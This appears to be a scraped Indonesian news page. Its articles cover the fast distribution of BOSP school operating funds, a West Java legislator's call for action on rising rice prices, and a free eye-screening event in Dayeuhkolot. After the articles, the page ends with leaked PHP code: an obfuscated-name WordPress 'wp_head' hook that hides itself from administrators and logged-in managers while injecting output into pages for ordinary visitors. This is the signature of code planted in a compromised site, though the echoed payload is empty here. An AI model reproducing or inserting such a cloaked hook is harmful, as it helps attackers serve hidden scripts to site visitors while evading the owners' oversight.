    Penyaluran dana BOSP yang telah dilakukan juga merupakan hasil kolaborasi antara Kemendikbudristek dengan Kementerian Keuangan (Kemenkeu), Kementerian Dalam Negeri (Kemendagri), dan pemerintah daerah. Ketua Tim Dana Alokasi Khusus Nonfisik, Kementerian Keuangan, Dony Suryatmo Priandono, dalam webinar yang sama, menjelaskan bahwa kolaborasi dalam penyaluran tercepat dana BOSP ini berawal dari pembedahan aturan dan pemanfaatan infrastruktur yang tersedia.
    “Berdasarkan aturan, kami mengikuti Peraturan Menteri Keuangan (PMK) nomor 204 tahun 2022 tentang Penyaluran Dana Alokasi Non Fisik. Kami melakukan diskusi internal termasuk dengan Biro Hukum untuk merumuskan sejumlah klausul dari PMK 204 tersebut. Alhasil, ternyata sisa dana BOSP tahun sebelumnya dapat diperhitungkan tidak di tahap I, melainkan di tahap II,” ucap Dony.
    Dony menambahkan, Kemenkeu tidak hanya berfokus untuk mengalokasikan Anggaran Pendapatan dan Belanja Negara (APBN) saja, melainkan penyaluran dana APBN juga harus sesuai dengan jumlah dan perencanaan yang telah disusun. Dalam konteks penyaluran dana BOSP, Kemenkeu memperhatikan sejumlah hal, antara lain ketepatan jumlah, ketepatan sasaran penerima, ketepatan penggunaan, ketepatan pelaporan, dan ketepatan akuntabilitas.
    ”Kami bersama Kemendikbudristek dan Kemendagri juga telah melakukan monitoring dan evaluasi, dan bahkan ke depannya kami juga akan mengajak Badan Perencanaan Pembangunan Nasional (Bappenas) supaya dana BOSP ini dapat dimanfaatkan dan dirasakan dengan maksimal untuk pemajuan pendidikan Indonesia,” kata Dony.
    Dampak penyaluran dana BOSP tercepat ini turut dirasakan sejumlah kepala sekolah. Dalam webinar SMB tersebut, Kepala SD Negeri 257 Maluku Tengah, Heny Leiwakabessy, mengungkapkan kebahagiaannya karena ia mampu memanfaatkan dengan cepat dan tepat dana yang sudah disalurkan. “Kami tidak pernah terbayang bahwa penyaluran dana BOSP 2024 akan secepat ini. Ini merupakan sebuah langkah yang baik untuk meningkatkan kualitas mutu pendidikan, khususnya bagi kami di Maluku Tengah. Terima kasih kami ucapkan untuk pemerintah pusat yang telah memberikan perhatian yang signifikan dalam penyaluran Dana BOSP tercepat ini,” ujar Heny.
    Heny menuturkan bahwa perencanaan kebutuhan sekolah yang disusun oleh sekolahnya merupakan hasil kerja sama tim yang ia bentuk. Selain itu, sejak 2019 ia juga telah memanfaatan ARKAS untuk menyusun perencanaan tersebut. “Kami bekerja untuk anak didik, sejak pertama kali di SD Negeri 257 ini siswa sudah terus bertambah setiap tahunnya, dan pembelajaran di sekolah semakin baik dan efektif,” tuturnya.
    Senada dengan Heny, Kepala SMP Negeri 1 Sabang, Azizah, merasa bahwa penyaluran dana BOSP tercepat ini mampu mengatasi sejumlah kendala yang biasa dihadapi oleh sekolah pada awal tahun. “Alhamdulillah, untuk pertama kalinya kami di SMP Negeri 1 Sabang sudah melakukan kegiatan sekolah sejak awal tahun. Penyaluran tercepat ini sangat berdampak positif bagi kami, sehingga proses pembelajaran dapat terus berjalan tanpa kendala yang berarti,” ucap Azizah.
    Azizah menambahkan bahwa dana BOSP yang diterima oleh sekolahnya juga dimanfaatkan untuk pengembangan bakat dan minat pelajar. Setiap tahun ia melakukan perencanaan dukungan program pengembangan minat dan bakat untuk pelajar, seperti seni tari yang membutuhkan alokasi dana untuk pelatih, perekaman musik, kostum, dan peralatan penunjang pegelaran seni tari. “Penyusunan rencana kebutuhan sekolah kami rumuskan dengan melibatkan banyak pihak seperti komite sekolah, orang tua pelajar, guru, dan dinas pendidikan. Dengan demikian, diharapkan perencanaan yang telah tersusun dapat diketahui oleh semua pihak dan tidak menjadi kekeliruan di masa mendatang,” tutup Azizah. (Penulis: Destian/ Editor: Desliana)

  • Endah Suwarni Anggota Komisi 2 DPRD Jabar, Minta Pemerintah Lakukan Intervensi Pasar Soal Lonjakan Harga Beras di Pasaran

    Bandung,VN,-  Pemerintah khususnya pemerintah provinsi Jawa Barat harus segera melakukan investigasi dan melakukan intervensi pasar terkait kelangkaan disertai lonjakan harga beras di pasaran. 

    Hal tersebut di ungkapkan Endah Suwarni anggota Komisi 2 DPRD Provinsi Jawa Barat saat di temui Media di sela sela kesibukannya pada Selasa (13/2/2024) 

    “Sebagai Anggota Dewan dari Komisi 2 yang memang membidangi masalah perekonomian saya merasa prihatin dengan kondisi kelangkaan dan kenaikan harga beras yang terjadi, ” ujar Endah. 

    Endah juga menambahkan bahwa beras merupakan kebutuhan yang sangat penting bagi kehidupan masyarakat jika sampai langka dan

    harganya melonjak tentu akan menyulitkan masyarakat terutama bagi masyarakat tidak mampu. 

    Politisi Partai Gerindra tersebut juga mendesak pemerintah terutama pemprov jabar termasuk juga pemerintah kota dan kabupaten untuk segera merespon permasalahan ini. Agar tidak makin memperparah kesulitan masyarakat terutama bagi masyarakat kecil yang pastinya sangat terpukul dengan kenaikan harga beras ini. 

    Endah Suwarni juga  mengatakan bahwa dirinya dan Komisi 2 DPRD Provinsi Jawa Barat terus berkomitmen untuk mengawal dan bersinergi bersama semua pihak terkait untuk mencari solusi terkait kelangkaan dan kenaikan harga beras. Karena menurut Endah, cukup penting untuk melakukan investigasi mendalam terkait permasalahan kelangkan dan kenaikan harga beras dari hulu sampai ke hilirnya. (red)


  • Sebanyak 62 Warga Dayehkolot Mendapatkan Pemeriksaan Mata Gratis

    Bandung,VN,- Sebanyak 62 warga RW 10 Desa Dayeuhkolot Kecamatan Dayeuhkolot Kabupaten Bandung mendapatkan pemeriksaan mata gratis dari Yayasan Ghiat dan Jumat Berbagi Bahagia yang bekerjasama dengan RS Mata Cicendo pada hari Senin, 12 Februari 2024. Dalam kegiatan ini dari RS Mata Cicendo menerjunkan 5 personil dipimpin langsung oleh dr. Nina Ratnaningsih, SpM(K), MSc., seorang dokter spesialis mata dari RS Mata Cicendo.

    Selain melakukan pemeriksaan mata, RS Mata Cicendo juga memberikan kacamata gratis kepada warga yang membutuhkan. Dari hasil pemeriksaan, ditemukan empat orang yang menderita katarak dan memerlukan operasi lebih lanjut. RS Mata Cicendo berjanji akan memberikan bantuan operasi katarak gratis kepada mereka.

    “Kami sangat berterima kasih kepada Yayasan Ghiat dan Jumat Berbagi Bahagia yang telah mengadakan pemeriksaan mata gratis ini. Ini sangat membantu kami yang jarang bisa periksa mata karena jauh dan mahal. Kami juga senang mendapatkan kacamata gratis dan operasi katarak gratis bagi yang membutuhkan,” ujar Ketua RW 10 Bapak Muhammad Arifin.

    Salah satu warga yang mendapatkan kacamata gratis adalah Dedi, seorang petugas parkir. Ia mengaku sangat senang dengan pemeriksaan mata gratis ini karena ia sudah lama merasa penglihatannya kurang jelas. “Alhamdulillah, saya dapat kacamata gratis dari sini. Sekarang saya bisa melihat lebih jelas dan bekerja lebih baik. Terima kasih banyak Yayasan Ghiat dan Jumat Berbagi Bahagia, semoga Allah membalas kebaikan kalian,” kata Dedi.

    Pemeriksaan mata gratis ini merupakan salah satu program sosial yang rutin dilakukan oleh Yayasan Ghiat dan Jumat Berbagi Bahagia. Yayasan ini bergerak di bidang kesehatan, pendidikan, dan kesejahteraan masyarakat. Selain pemeriksaan mata, yayasan ini juga sering mengadakan pengobatan gratis, bantuan sekolah, bantuan sembako, dan lain-lain.

    “Kami berharap dengan adanya pemeriksaan mata gratis ini, kami bisa memberikan manfaat kepada masyarakat, khususnya warga Dayeuhkolot. Kami juga mengucapkan terima kasih kepada RS Mata Cicendo yang telah bersedia bekerjasama dengan kami. Kami berharap kerjasama ini bisa terus berlanjut dan bisa menyentuh lebih banyak masyarakat yang membutuhkan,” tutur Ketua Yayasan Ghiat, Bapak Didin.

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);